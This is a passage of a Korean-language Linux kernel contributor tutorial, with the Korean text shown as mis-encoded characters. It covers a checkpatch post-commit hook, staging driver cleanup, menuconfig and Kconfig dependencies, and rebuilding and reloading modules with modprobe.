์คํธ ํ๋๊ฒ์ด๊ธฐ ๋๋ฌธ์, ์ด ๋ณ๊ฒฝ์ฌํญ๋ค์ ์ปค๋ฐํ๊ณ ์ถ์ง๋ ์์๊ฒ๋๋ค. ๊ทธ๋์ ์ด ์ปค๋ฐ๋ค์ ๋๋๋ฆด ์ ์์ด์. :q<์ํฐ>๋ฅผ ์ณ์ ์๋ํฐ์์ ๋น ์ ธ ๋์ค์ ๋ค์, ๋ค์์ ๋ช
๋ น์ด๋ฅผ ์คํํด๋ด
์๋ค.
git reset --hard HEAD์ด ๋ช ๋ น์ด๋ ํ์ฌ ์์ ์ค์ธ ๋๋ ํ ๋ฆฌ์ ๋ชจ๋ ํ์ผ๋ค์ ๊ฐ์ฅ ์ต๊ทผ์ ์๋ ค์ง ์ปค๋ฐ (HEAD์ปค๋ฐ) ์ผ๋ก ๋๋๋ฆฝ๋๋ค. ํน์ ํ ํ์ผ๋ค์ ์ํ๋ฅผ ์ด๊ธฐํ ํ๊ณ ์ถ๋ค๋ฉด, git reset ์ค๋ช ์๋ฅผ ์ฝ์ด๋ณด์ธ์.
์ฒซ ํจ์น ๋ง๋ค๊ธฐ
์ด์ , ์ปค๋์ ๋ช๊ฐ์ง ์ ์ฉํ ์์ ์ฌํญ์ ๋ง๋ค๊ณ , ์ฒซ git ์ปค๋ฐ์ ์์ฑํ๊ณ , ์ฒซ ํจ์น๋ฅผ ๋ณด๋ด๊ฒ ๋ ๊ฒ์ ๋๋ค. git์์์ ์ฒซ๋ฒ์งธ ์ปค๋ฐ์ ํ๊ธฐ ์ , ๋ช๊ฐ์ง ์ค์ ํ ๊ฒ ์์ต๋๋ค.
git post-commit hooks
Git์ ํน์ git ๋ช
๋ น์ด๊ฐ ์คํ๋๊ธฐ ์ ์ด๋ ๊ทธ ํ์ ์๋ํ๋ ์คํฌ๋ฆฝํธ๋ค์ ์ํ ๋ช๊ฐ์ง์ "hook" ์ด ์๋๋ฐ์. "post-commit" hook์ git commit ๋ช
๋ น์ด๋ฅผ ์คํํ๊ณ ๋ ๋ค์ ์คํ๋๋ hook์
๋๋ค.
๋ฆฌ๋ ์ค ์ปค๋ ๊ฐ๋ฐ์๋ค์ ์์ฃผ ์๊ฒฉํ ์ฝ๋ฉ์คํ์ผ ๊ฐ์ด๋๋ผ์ธ์ ๊ฐ๊ณ ์์ต๋๋ค. ์ด ์ฝ๋ฉ์คํ์ผ์ด ์์ฃผ ๊น๋ค๋กญ๊ธฐ๋๋ฌธ์, ๋์ ํจ์น๊ฐ ์ปค๋ ์ฝ๋ฉ์คํ์ผ์ ์ค์ํ์๋์ง ํ์ธํ๋ checkpatch.pl ์ด๋ผ๋ ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋ค์์ต๋๋ค.
๋ด๊ฐ ์ฝ๋ฉ์คํ์ผ์ ์ค์ํ๋ ์ข์ ์ปค๋ฐ์ ๋ง๋ค์๋์ง์ ๋ํด ํ์ ์ ๊ฐ๊ธฐ ์ํด์, ๋ด ์ปค๋ฐ์ "post-commit" hook๊ณผ ํจ๊ป checkpatch.pl์ ์๋์์ผ ๋ณผ ์ ์์ต๋๋ค. ์์๋์ ์ผ ํ ์ ์, ์ปค๋ฐ ์ดํ์ checkpatch๋ ์์์ฝ๋์ ์์ ์ฌํญ๋ฟ๋ง์ด ์๋๋ผ ๋ด๊ฐ ๋ง๋ ํจ์น ํ์ผ ์์ฒด๋ฅผ ๊ฒ์ฌํฉ๋๋ค. ๊ทธ๋์ log ๋ฉ์์ง์ ์ฒ ์์ค๋ฅ๋ผ๋๊ฐ, log๋ฉ์์ง์ spacing์ด๋ผ๋๊ฐ, ํ์ผ์ ์ ๊ฑฐํ๋๋ฐ ๋จ๋ ๊ฒฝ๊ณ ๋ฑ์ ์ด์๋ค์ ๋ ๋ง์ด ์ก์ ๋ผ ๊ฒ์ ๋๋ค.
์ด๋ฏธ .git/hooks/post-commit ํ์ผ์ ๊ฐ๊ณ ์๋ค๋ฉด git์ด ์ด๋ฅผ ์คํํ๋๊ฒ์ ๋ง๊ธฐ ์ํด .git/hooks/post-commit.sample๋ก ์ด๋ฆ์ ๋ฐ๊ฟ์ฃผ์ธ์. git์ .sample ํ์ฅ์๋ฅผ ๊ฐ๊ณ ์๋ ํ์ผ๋ค์ ์คํํ์ง ์์ต๋๋ค.
๊ทธ ํ์๋ .git/hooks/post-commit ํ์ผ์ ๋ค์์ ๋ด์ฉ์ ์ถ๊ฐํด์ฃผ์ธ์.
#!/bin/sh
exec git show --format=email HEAD | ./scripts/checkpatch.pl --strict --codespell์ด ํ์ผ์ด ์คํ ๋ ์ ์๋๋ก ๊ถํ์ ๋ณ๊ฒฝํ๊ณ ,
chmod a+x .git/hooks/post-commit๋ง์ฝ์ /usr/share/codespell/dictionary.txt๊ฐ ์์ผ์๋ค๋ฉด, ๋ค์ด๋ก๋ ๋ฐ์ผ์ธ์.
sudo apt install codespell์ปค๋ฐ์ ํ ๋ค์, ์ด hook์ ๋ด ํจ์น๊ฐ ๋ง๋ checkpatch ์ค๋ฅ๋ ๊ฒฝ๊ณ ๋๋ฅผ ๋์ธ๊ฒ์
๋๋ค. ๋๋ก ์ธํ์ฌ ๋ง๋ค์ด์ง ์ค๋ฅ๋ ๊ฒฝ๊ณ ๋ฅผ ๋ณด๊ฒ ๋๋ค๋ฉด ํ์ผ์ ๋ฐ๊ฟ์ ์ปค๋ฐ์ ์์ ํ ์ ์์ต๋๋ค. git add๋ฅผ ์ฌ์ฉํ์ฌ ๋ณ๊ฒฝ์ฌํญ์ ์ถ๊ฐํ๊ณ , git commit --amend๋ฅผ ์จ์ ๋ณ๊ฒฝ์ฌํญ์ ์ปค๋ฐํ์ธ์.
post-commit hook ์ด ์๋ํ๋์ง ํ์ธํ๊ธฐ
post-commit hook์ checkpatch๋ฅผ ์๋์ํฌ ์ ์คํ ์์ ์ฌํญ๋ค์ ์ถ๊ฐํ๊ณ git commit์ ์๋์ํค๋ ๊ณผ์ ์ผ๋ก ์๋๋๋ค๋๊ฒ์ ์ ์ ์์ฃ ? ์ปค๋ฐ์ ํ ๋ค์๋ ์ถ๊ฐ์ ์ผ๋ก checlpatch.pl ๊ฒฝ๊ณ ๋ ์ค๋ฅ๊ฐ ์๋์ง ํ์ธํด๋ด์ผ ํฉ๋๋ค.
์์๋์ธ์. ์ด hook์ ์ด๋ค ํธ๋ฆฌ์์๋ ํจ์น๋ฅผ ๋น๋ ํ ๋ ํ์ํฉ๋๋ค.
๋ง์ฝ์ post-commit hook์ด ์๋๋์ง ์๋๋ค๋ฉด, IRC์ ๋์์ ์์ฒญํ์ธ์.
์๋ ํจ์น ์ฌ๋ก๋ค์ ์ดํดํ๊ธฐ
๋๋ง์ ํจ์น๋ฅผ ๋ง๋ค๊ธฐ ์ , ์ด๋ป๊ฒ ์ข์ ํจ์น๋ค์ ๋ง๋๋์ง ์์์ผ๊ฒ ์ฃ ? ๊ทธ๋ ์ง ์์ผ๋ฉด ํ๋ก์ ํธ ์ ์ง๋ณด์์๋ค์ด ๋์ ํจ์น๋ฅผ ๋ฐ์์ฃผ์ง ์์๊ฒ์ด๊ณ , ์ธ๋ฐ์๋ ์์ ์ฌํญ์ ๋ง๋ค์ด์ผ ํ ์๋ ์์ผ๋๊น์.
๋จผ์ , PatchPhilosophy๋ฅผ ์ฝ๋๋ก ํฉ์๋ค. ์ด ๋ฌธ์๋ ์ฝ๊ธฐ ์ฝ๊ณ ๋ ๋์ ํ๋ฅ ๋ก ๋ฐ์ ์ง ์ ์๋ ํจ์น๋ค์ ๋ง๋๋๋ฐ ๋์์ ์ค๊ฑฐ์์. ๋ CodingStyle(์ปค๋ ์ฝ๋ ์ ์ฅ์์ ๋ฌธ์ ๋ชฉ๋ก์๋ ์์ต๋๋ค)๋ ์ฝ์ด์ฃผ์ธ์. ์ด ๋ฌธ์๋ ์ด๋ป๊ฒ ๋ฆฌ๋ ์ค ์ปค๋ ์ปค๋ฎค๋ํฐ๊ฐ ์์ฉ ํ ์ ์๋ ์ฝ๋๋ฅผ ์์ฑํ๋ ๋ฒ๊ณผ checkpatch.pl ์คํฌ๋ฆฝํธ์ ๊ธฐ๋ณธ์ ์ธ ๊ท์น๋ค์ด ํฌํจ๋์ด์์ด์.
Checkpatch.pl์ด ๋ ์๋ฒฝํ๊ฒ์ ์๋๋ผ๋์ ์ ์์๋์ธ์! ๋ด ์์ ์ฌํญ์ด checkpatch.pl์ด ์ ์ํ๋ ๋ฐฉ์์ ์์ ์ธ์ง ์์๋ด๊ธฐ ์ํด ์ต์ ์ ํ๋จ์ ํ์๊ณ ์. ์ฝ๋์๊ฒ ์์ด ์ต์ข ์ ์ธ ๋ชฉํ๋ ๋ ์ฝ๊ธฐ ํธํ๊ฒ ํ๋๊ฒ์ ๋๋ค. ๋ง์ฝ checkpatch.pl์ด ์ ์ํ ์ฝ๋๊ฐ ๊ธฐ์กด๋ณด๋ค ๋ ๋์์ง๊ฒ๊ฐ์ง ์๋ค๋ฉด, checkpatch.pl์ ๋ง์ ๋ฃ์ง ๋ง์ธ์. ์๋ฅผ๋ค์ด ํ ์ค์ 81๊ธ์๊ฐ ์์ง๋ง ๊ทธ ์ค์ ๋ฐ์ผ๋ก ๋ด๋ฆฌ๋๊ฒ์ด ์คํ๋ ค ๋ชป์๊ฒจ๋ณด์ธ๋ค๋ฉด, ๊ตณ์ด ๊ทธ ์ค์ ๋ด๋ฆฌ์ง ๋ง์ธ์. ๋๋ผ์ด๋ฒ๋ฅผ ์์จ๋ ์ด๋ป๊ฒ ์ผ๋ฐ์ ์ธ ์ค์๋ฅผ ํผํ ์ ์๋์ง CheckpatchTip ํ์ด์ง๋ฅผ ์ฝ์ด ํ์ธํด๋ณด์ธ์.
์์จ ๋๋ผ์ด๋ฒ ์ฐพ๊ธฐ
drivers/staging/์ ์๋ staging ํธ๋ฆฌ์๋ ์ฝ๋ฉ์คํ์ผ์ ๋ณ๋ก ์ค์ํ์ง ์๊ฑฐ๋ ์ด๋ฏธ ์ฌ์ฉ์ด ์ค๋จ๋(deprecated) API ๋ฅผ ์ฌ์ฉํ๋ ๋๋ผ์ด๋ฒ๋ค๋ ์๋ฉ ๊ฝ์ฐจ์์ต๋๋ค. ์ด๋ฌํ ๋๋ผ์ด๋ฒ๋ค์ ๊นจ๋์ด ์ ๊ฑฐํด์ผ๊ฒ ์ฃ . ๋ช๋ช ๋๋ผ์ด๋ฒ๋ค์ ๊ฐ๊ฐ์ ์ต์์ ๋๋ ํ ๋ฆฌ์ ๊นจ๋์ด ํ๋ ์์
์ ์ํด ํด์ผ ํ TODO๋ผ๋ ํ์ผ์ด ์์ด์.
find drivers/staging -name TODOTODO ์์ดํ ์ค ํ๋๋ฅผ ๋ค๋ฃจ๊ฑฐ๋, ๊ฐ๋จํ ์ฝ๋ฉ ์คํ์ผ ์ ๋ฆฌ๋ฅผ ํ ์ ์์ต๋๋ค.
drivers/staging์ ์ปค๋ ์์ ์๋ ๋๋ผ์ด๋ฒ๋ค๊ณผ ์ปค๋ ๋ฐ์ ์๋ ๋๋ผ์ด๋ฒ ๋๊ฐ์ง๋ฅผ ๋ชจ๋ ๊ฐ๊ณ ์์ด์. ์ปค๋ ๋ฐ์ ์๋ ๋๋ผ์ด๋ฒ ์์์ ์์ ํ๋๊ฒ์ ํผํ๋ํธ์ด ๋ซ์ต๋๋ค. 2015๋ 2์๋ฌ์ ์์ฑ๋ ๋ช๋ช ์ปค๋ ๋ฐ ๋๋ผ์ด๋ฒ๋ค(๋ชจ๋๋ก ์ปดํ์ผ๋ ๋๋ผ์ด๋ฒ)์ ๋ค์๊ณผ ๊ฐ์๊ฒ๋ค์ด ์์ด์.
i20
line6
media/parport
media/tlg2300
media/vinocheckpatch.pl ์คํํ๊ธฐ
๋ค์์ ๋ช ๋ น์ด๋ก, staging์์ ๋๋ผ์ด๋ฒ๋ฅผ ํ๋ ๊ณจ๋ผ์, ๊ทธ ํ์ผ์ด ์ปค๋ ์ฝ๋ฉ์คํ์ผ์ ์ค์ํ๋์ง ์๋์ง ํ์ธ ํ ์ ์์ต๋๋ค.
perl scripts/checkpatch.pl -f drivers/staging/android/* | less๊ฒฝ๊ณ ๋ฅผ ์ฐพ๊ณ , ๊ณ ์น๋ ค๊ณ ํด๋ณด์ธ์. ๋์ ์ฒซ ํจ์น๋ก ํ๋์ ๊ฒฝ๊ณ ๋ฅผ ๊ณจ๋ผ๋ณด๋๊ฒ๋๋ค. ํ๋ ์ฌ๋ฌ๊ฐ์ ์์ ์ฌํญ๋ค์ ํ๋์ ํจ์น๋ก ๊ทธ๋ฃนํ ํ ์ ์๊ฒ ์ฃ ? ๋ค๋ง ๊ทธ๋ด ๊ฒฝ์ฐ์๋ ๊ฐ๊ฐ์ ํจ์น๊ฐ ๋ ผ๋ฆฌ์ ์ธ ๋ณ๊ฒฝ์ฌํญ์ ๋ถ์์ง ์๋ PatchPhilosophy๋ฅผ ๋ฐ๋ผ์ผ๋ง ํฉ๋๋ค.
์์๋์ ์ผ ํ ์ ์, checkpatch๋ ์์ฃผ ๋ค์ํ ๊ฒฝ๊ณ ๋ฅผ ๋ง๋ ๋ค๋ ์ ์ ๋๋ค. ๊ฐ๋ ์ฝ๋๊ฐ ์ด์์ ์ด์ง ์๊ฑฐ๋ checkpatch์ ๊ณ ์น ์ฌํญ์ด ๋ช ๋ฐฑํ์ง ์์ ์ ์์ด์. ๊ฐ์ธ์ ์ธ ์ ํธ๋์ ๋ฌธ์ ์ด๊ฑฐ๋ ์ ํํ ๋ณํ์ฌํญ์ ๋ง๋ค๊ธฐ ์ํด์๋ ํน๋ณํ ์ง์์ ์๊ตฌํ๋ค๋๊ฐ ํ๋ ๊ฒฝ์ฐ๋ค์์์. ๋น์ทํ ๋ณ๊ฒฝ์ฌํญ์ด ๊ฑฐ๋ถ๋์๋์ง, ๊ทธ๋ฌ๋ค๋ฉด ๊ทธ ์ด์ ๋ ๋ฌด์์ธ์ง ๋ณด๋๋ฐ์๋ ๋ฉ์ผ๋ง ๋ฆฌ์คํธ์์ ์ค๋๋ ๋ฉ์์ง๋ค์ ๋์๋ณด๋๊ฒ์ด ๋์์ด ๋ฉ๋๋ค.
๋ผ์ด์ ์ค์ ๊ด๋ จ๋ checkpatch.pl์ ๊ฒฝ๊ณ ๋ ํผํ์ธ์. ๊ทธ ๊ฒฝ๊ณ ๋ ์์ ๋๊ธฐ ์ ์ ๋๋ผ์ด๋ฒ์ ์์ฑ์์ ํ์ฌ๋ค์ ๋ง์ ๋ ผ์๊ฐ ํ์ํฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ ๋ณดํต ์ ์ฐธ๋คํํ ๋ค์ด์จ ๊ทธ๋ฐ๊ฒ๋ค์ ๊ณ ์น ์์ ์ฌํญ๋ค์ maintainer๋ค์ด ์ ํธํ์ง ์์์.
์ถ๊ฐ์ ์ผ๋ก checkpatch cleanup์ ๋ํด์๋ ์ปค๋์์ ๋ค๋ฅธ ๋ฒ๊ทธ ์ฐพ๊ธฐ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ฌ๊ธฐ Coccinele์ ๋ํด ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ ์์๋ณด์ธ์.
๋๋ผ์ด๋ฒ ์ฌ ์ปดํ์ผ
์ด์ ์์ ํ ๋๋ผ์ด๋ฒ๋ฅผ ๋ชจ๋๋ก์ ์ค์ ๋๊ฒ ๋ง๋ค์ด์ผ ํฉ๋๋ค. ๋ค์์ ๋ช ๋ น์ด๋ฅผ ์คํ์ํค์ธ์.
make menuconfig์ด ๋ช ๋ น์ด๊ฐ ์ค์ ์ต์ ์ ํ์ ํ ์ ์๋ ํ ์คํธ ๊ธฐ๋ฐ์ GUI๋ฅผ ์ด์ด์ค ๊ฒ ์ ๋๋ค.
๋ฐฉํฅํค๋ฅผ ์ฌ์ฉํด์ Device Drivers ->์ ๋ค์ด๊ฐ์ ๋ค์, <์ํฐ> ๋ฅผ ๋๋ฅด์ธ์. ๊ทธ ๋ค์์๋ Staging drivers์ ๋ค์ด๊ฐ์ธ์. ์ธ์ ๋ '?' ํค๋ฅผ ๋๋ฌ ํด๋น ์ต์
์ ๋ํ ๋์๋ง์ ์ป์ ์ ์๊ณ , '/' ํค๋ฅผ ๋๋ฌ ๋ด๊ฐ ์์ ์ค์ธ ๋๋ผ์ด๋ฒ์ ๊ธด ์ด๋ฆ์ ๊ฒ์ ํ ์ ์์ต๋๋ค. ๋ด๊ฐ ์์
์ค์ธ ๋๋ผ์ด๋ฒ๊ฐ ๋ด์ฅ์ด ์๋('*') ๋ชจ๋๋ก์ ์ปดํ์ผ ๋๊ฒ ํ์ธ์('M'). ๋๋ผ์ด๋ฒ๊ฐ ๋ฉ๋ด์์ ์ ํ๋์์๋, 'm'ํค๋ฅผ ๋๋ฌ ๋๋ผ์ด๋ฒ๊ฐ ๋ชจ๋๋ก ์ปดํ์ผ ๋๋๋ก ํ์ธ์. <์ํฐ> ํค๋ฅผ ๋๋ฅด๋๊ฒ์ ๋๋ผ์ด๋ฒ๊ฐ ๋ด์ฅ์ด ๋๋๋ก ํ ๊ฒ์
๋๋ค.
ํ๋ฒ ๋ด๊ฐ ์์ ์ค์ธ ๋๋ผ์ด๋ฒ๋ฅผ ํ์ฑํ ํ๋ค๋ฉด,
์ดํ์๋ ์๋์ ๋ช ๋ น์ด๋ก ์ปค๋์ ์ฌ์ปดํ์ผํ๋ฉด ๋ฉ๋๋ค.
make -j2์ปค๋์ ์ฌ๋ถํ
ํ๊ณ , modprobe๋ฅผ ์ด์ฉํด ๋๋ผ์ด๋ฒ๋ฅผ ๋ก๋ํด์ผํฉ๋๋ค. lsmod ๋ช
๋ น์ด๋ฅผ ํตํด ๋๋ผ์ด๋ฒ๊ฐ ๋ก๋ ๋๊ฒ์ ๋ณผ ์ ์์๊ฒ์
๋๋ค. ์ฐ๋ฆฌ์๊ฒ ์์ด ๋๋ผ์ด๋ฒ๋ฅผ ๋ก๋ํ๋๊ฒ์ probe ํจ์๊ฐ ์๋ํ๊ฒ ๋ง๋ค ์ ์๊ฒ ์ฃ ?
์ปค๋์ ํน์ ๋ถ๋ถ๋ง ์ปดํ์ผ ํ๊ธฐ
์ปค๋์ ํน์ ๋ถ๋ถ๋ง ์ปดํ์ผ ํ๋๋ฐ๋ ์ฌ๋ฌ๊ฐ์ง ๋ฐฉ๋ฒ์ด ์์ต๋๋ค.
- make path/file.o: ์ด ๋ฐฉ๋ฒ์ ๋จ ํ๋์ ํ์ผ๋ง ์ปดํ์ผ ํฉ๋๋ค. ๋ค๋ฅธ ํ์ผ๊ณผ ์ํธ์์ฉํ๋ ๋ณ๊ฒฝ์ฌํญ์ ํ์ธํ๊ธฐ๊ฐ ์ด๋ ต์ง ์์๊ฒ์ ๋๋ค. ์ด ๋ฐฉ๋ฒ์ผ๋ก๋ .config ์์ ๋นํ์ฑํ๋ ํ์ผ๋ค์ ๋น๋ ํ ์ ์์ต๋๋ค๋ง, ๊ทธ๋ ๊ฒ ํ๋ฉด ์คํจ ํ ์๋ ์์ต๋๋ค. ์๋ฅผ๋ค์ด ํน์ ์ํคํ ์ณ๋ง์ ์ํ ํค๋๋ฅผ ํฌํจํ๊ณ ์๋ ๊ฒฝ์ฐ ๊ฐ์๊ฒ ์๊ฒ ์ฃ .
make drivers/staging๊ณผ ๊ฐ์ด path๋ฅผ makeํ๊ธฐ: ์ด ๋ฐฉ๋ฒ์ ํญ์ ์ฑ๊ณตํฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ด๋ฏธ ๋๋ ํ ๋ฆฌ๊ฐ ์กด์ฌํ๊ธฐ ๋๋ฌธ์ ์๋ฌด๋ฐ ์ญํ ๋ ํ์ง ์์์.make drivers/staging/๊ณผ ๊ฐ์ด path/๋ฅผ makeํ๊ธฐ: ์ด ๋ฐฉ๋ฒ์ ํด๋น ๋๋ ํ ๋ฆฌ ์์์๋ ๋ชจ๋ ๋๋ ํ ๋ฆฌ๋ฅผ ๋น๋ํ์ง๋ง, ๋ชจ๋๋ก ๋งํฌํ์ง๋ ์์ต๋๋ค.make M=drivers/staging: ์ด ๋ฐฉ๋ฒ์ ์ ์ ๋น๋ํ vmlinux ํ์ผ์์ ๋ชจ๋์ ๋งํฌํฉ๋๋ค. .config์ ์ต์ ์ ์์ ํ๊ฑฐ๋ ์๋ก์ด git tree์ rebase ํ์๊ฒฝ์ฐ, ์ด ๋ฐฉ๋ฒ์ ๋ค๋ฅธ ๋ชจ๋ ํ์ผ๋ค์ดmake -j2์ ๊ฐ์ ์ต์ ์ ์ด์ฉํด ์ด๋ฏธ ํ๋ฒ ๋น๋ ๋์ง ์์๋ค๋ฉด ์คํจ ํ ์ ์์ต๋๋ค.
๋๋ผ์ด๋ฒ ์์กด์ฑ
๊ฐ๋ ๋๋ผ์ด๋ฒ๋ฅผ ์ฐพ๊ธฐ ์ด๋ ค์ธ๋๊ฐ ์์ฃ . ์๋ง CONFIG ์ต์ ์ ์ฐพ์ผ๋ ค๊ณ ํ์ํ ์ง๋ง, ๋ฉ๋ด๊ฐ ์์ด์ผํ ๊ณณ์ ์์์๊ฑฐ์์. ์๋ง drvier๋ ๋๋ผ์ด๋ฒ๊ฐ ์์กดํ๋ subsystem์ด ํ์ฑํ๋์ง ์์์ ๋๋ผ์ด๋ฒ๊ฐ ๋ฉ๋ด์์ ์จ์ด์๋๊ฑธ๊ฒ๋๋ค. ๋ฉ๋ด ์ต์ ์ด ๋ณด์ด๊ฒ ํ๋ ค๋ฉด ๋ชจ๋ ์์กด์ฑ๋ค์ ํ์ฑํ ์์ผ์ผํฉ๋๋ค. ๊ทธ ์ดํ์๋ ๋ด๊ฐ ์์ ํ๊ณ ์๋ ๋๋ผ์ด๋ฒ๋ฅผ ํ์ฑํ ์ํฌ ์ ์์๊ฑฐ์์.
์๋ฅผ ๋ค์ด์, drivers/usb/host/xhci-ring.c๋ฅผ ์์ ํ๊ณ ์์๋ค๊ณ ํด๋ด ์๋ค. Kconfig๋๋ผ์ด๋ฒ์ ์ต์์ ๋๋ ํ ๋ฆฌ(drivers/usb/host/Kconfig)์์ Kconfigํ์ผ์ ์ด์ด๋ณธ๋ค๋ฉด, xHCI๋๋ผ์ด๋ฒ์ ๋ํ ์ต์ ์ ๋ณผ์ ์์๊ฒ๋๋ค.
config USB_XHCI_HCD
tristate "xHCI HCD (USB 3.0) support"
depends on USB && USB_ARCH_HAS_XHCI
---help---
The eXtensible Host Controller Interface (xHCI) is standard for USB 3.0
"SuperSpeed" host controller hardware.
To compile this driver as a module, choose M here: the
module will be called xhci-hcd.๊ทธ๋ผ ์ด์ ๋ช
๋ น์ด make menuconfig ๋ฅผ ์คํํ๊ณ USB_XHCI_HCD๋ฅผ ์ฐพ๊ธฐ ์ํด '/'ํค๋ฅผ ๋๋ฌ์ฃผ์ธ์. ๊ฒ์ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ์ ๋ด์ฉ๋ค์ ์ถ๋ ฅํ ๊ฒ๋๋ค.
Symbol: USB_XHCI_HCD [=m]
Type : tristate
Prompt: xHCI HCD (USB 3.0) support
Location:
-> Device Drivers
(1) -> USB support (USB_SUPPORT [=y]
Defined at drivers/usb/host/Kconfig:20
Depends on: USB_SUPPORT [=y] && USB [=n] && USB_ARCH_HAS_XHCI [=y])"Depends on" ์ด ์๋ ๊ณณ์ ์ง์คํด์ ๋ด์ฃผ์ธ์. ๋๋ผ์ด๋ฒ ์์กด์ฑ์ ๊ฐ๋ฆฌํค๋ ์ด Boolean ์์ ๋ฉ๋ด์์ ๋๋ผ์ด๋ฒ ์ต์ ์ ๋ณด๊ธฐ ์ํด์ ํ์ฑํ ๋์ด์ผ ํฉ๋๋ค. 'y'๊ฐ ์๋ฏธํ๋๊ฒ์ ๋๋ผ์ด๋ฒ๋ ์๋ธ์์คํ ์ด ์ปค๋ ์์ ๋ด์ฅ๋์ด ์๋ค๋๊ฒ์ ์๋ฏธํ๊ณ 'm'์ ๋๋ผ์ด๋ฒ๊ฐ ๋ชจ๋๋ก ๋น๋๋์์์ ์๋ฏธํฉ๋๋ค. ์ด ๋ ์ต์ ์ Boolean ๋ ผ๋ฆฌ์์ '1'๋ก ๋์ผํฉ๋๋ค. 'n'์ ๋๋ผ์ด๋ฒ๋ ์๋ธ์์คํ ์ด ๋นํ์ฑํ ๋์ด์์์ ์๋ฏธํฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ด๊ฑด Boolean ๋ ผ๋ฆฌ์์ 0์ ์๋ฏธํ๊ตฌ์.
ํ
๋ง์ฝ Boolean ๋ ผ๋ฆฌ์ ๋ํด ๋ชจ๋ฅธ๋ค๋ฉด, ์ด ํํ ๋ฆฌ์ผ์ ์ ์ํฉ๋๋ค. ๊ธฐ์ต์ด ๊ฐ๋ฌผ๊ฐ๋ฌผ ํด์ ์ ๋ชจ๋ฅด์๊ฒ ๋ค๋ฉด ์ด crib sheet์ ์ฝ์ด๋ณด์ธ์. ๊ท์ฐฎ์ผ์๋ฉด ๋ถ ๋์ ๊ณ์ฐ๊ธฐ๋ ์๊ณ , ์ฐ๋ถํฌ์์๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๊น๋ ค์๋ ๊ณ์ฐ๊ธฐ ์ฑ์ "Programming Mode"๋ฅผ ์ฌ์ฉํ์ ๋ ๋ฉ๋๋ค.
์ด ๊ฒฝ์ฐ์ xHCI ๋๋ผ์ด๋ฒ์ config ์ต์ ์ USB๊ฐ 'n'์ผ๋ก ์ค์ ๋์ด์๊ธฐ ๋๋ฌธ์ ๋ฉ๋ด์ ๋จ์ง ์์ต๋๋ค. USB๋ฅผ ๊ฒ์ํด์, ๋ง์ ๊ฒฐ๊ณผ๊ฐ ๋์๋๋ฐ, ๊ทธ์ค USB์ ๊ด๋ จ๋์ด์๋ ๋ด์ฉ์ ์ฐพ์๋ค์.
Symbol: USB [=n]
Type : tristate
Prompt: Support for Host-side USB
Location:
-> Device Drivers
(1) -> USB support (USB_SUPPORT [=n])
Defined at drivers/usb/Kconfig:51
Depends on: USB_SUPPORT [=n] && USB_ARCH_HAS_HCD [=n]Device Driver์ ๋ฉ๋ด๋ฅผ ๋ณธ๋ค๋ฉด, "USB Support"๊ฐ ์์ฃ ? ์ด๊ฑธ 'm'์ผ๋ก ๋ฐ๊ฟจ์ต๋๋ค. ์ด ๊ณผ์ ์ดํ์๋, "USB Support" ๋ฉ๋ด์์ CONFIG_XHCI_HCD๋ฅผ ์ฐพ์ผ์ค ์ ์์๊ฒ๋๋ค.
๋๋ผ์ด๋ฒ๋ฅผ ๋ฉ๋ด์์ ๋ณผ ์ ์๊ฒ ๋๊ธฐ ์ ์ ๊ฐ๊ฐ์ ๋ค๋ฅธ ์ค์ ์ต์ ์ ์ฌ๊ท์ ์ผ๋ก ํ์ฑํ ํด์ผ ํ ์๋ ์์ต๋๋ค. ํ๋ค๊ฐ ๋งํ๋ฉด ๋์์ ์ฒญํ์ธ์.
์์๋์
์ผ ํ ์ : CONFIG_BORKEN์ ์์กดํ๋ ๋๋ผ์ด๋ฒ์ ์์์ ์์
ํ์ง ๋ง์ธ์. make menu config ์ดํ์ ๋๋ผ์ด๋ฒ๋ฅผ ๊ฒ์ํ๋๋ฐ "Depends on: "์ด ์๋ ์ค์ BROKEN์ด๋ผ๋ ๊ธ์๊ฐ ์๋ค๋ฉด, ๊ทธ ๋๋ผ์ด๋ฒ ์์์ ์์
ํ์ง๋ง์ธ์.
๋ชจ๋ ๋ค์ ๋ก๋ํ๊ธฐ
๋ง์ฝ uname -r ๋ช
๋ น์ด๋ฅผ ์คํํด์ ๋์ค๋ ์ปค๋์ ๋ฒ์ ๊ณผ ๋ด๊ฐ ์๋ก ์ปดํ์ผ ํ ์ฝ๋๊ฐ ๊ฐ์ ๋ฆด๋ฆฌ์ฆ ๋ฒ์ ์ ๊ฐ๊ณ ์๋ค๋ฉด, ์ฌ๋ถํ
์ ํ์ง ์๊ณ ๋ ๋์ ๋ณ๊ฒฝ์ฌํญ์ ํ
์คํธ ํ ์ ์์ต๋๋ค. ๊ฐ๋จํ ๋ชจ๋์ /lib/moudules์ ์ค์นํ๊ณ , ๋๋ผ์ด๋ฒ๋ฅผ ๋ด๋ฆฐ๋ค์ ๋ค์ ๋ก๋ํ์ธ์.
make -j2 && sudo make modules_install
sudo modprobe -r <module_name>
sudo modprobe <module_name>๋ชจ๋์ ์ด๋ฆ์ด ๋ญ์ง ๋ชจ๋ฅด์๊ฒ ๋ค๊ณ ์? ๋๋ผ์ด๋ฒ๋ฅผ ๋ชจ๋๋ก ์ปดํ์ผ ํ์ จ๋ค๋ฉด, ์ต์์ ๋๋ ํ ๋ฆฌ์ .ko ํ์ผ์ด ์์๊ฒ๋๋ค. ์๋ฅผ๋ค์ด ๋ด๊ฐ Android driver์ ๋ชจ๋๋ก ์ปดํ์ผ ํ๋ค๊ณ ํ๋ค๋ฉด, ๋ค์์ ๋ช ๋ น์ด๋ฅผ ์คํํ๋ฉด ๋๊ฒ ์ฃ .
intern@ubuntu:~/git/kernel/staging$ ls drivers/staging/android/*.ko
drivers/staging/android/alarm-dev.ko drivers/staging/android/logger.ko์, ๊ทธ๋ผ ์ฌ๊ธฐ์ modprobe์ ํจ๊ป ๋ก๋ํด์ผํ๋ ๋๊ฐ์ง์ ๋๋ผ์ด๋ฒ๊ฐ ์์ต๋๋ค. ์ด ๋๋ผ์ด๋ฒ๋ค์ modprobe์ base ํ์ผ๋ช ์ ๋๊ฒจ์ฃผ๋ฉด์ ํ๋ฒ์ ๋ก๋ ํ ์ ์์ต๋๋ค.
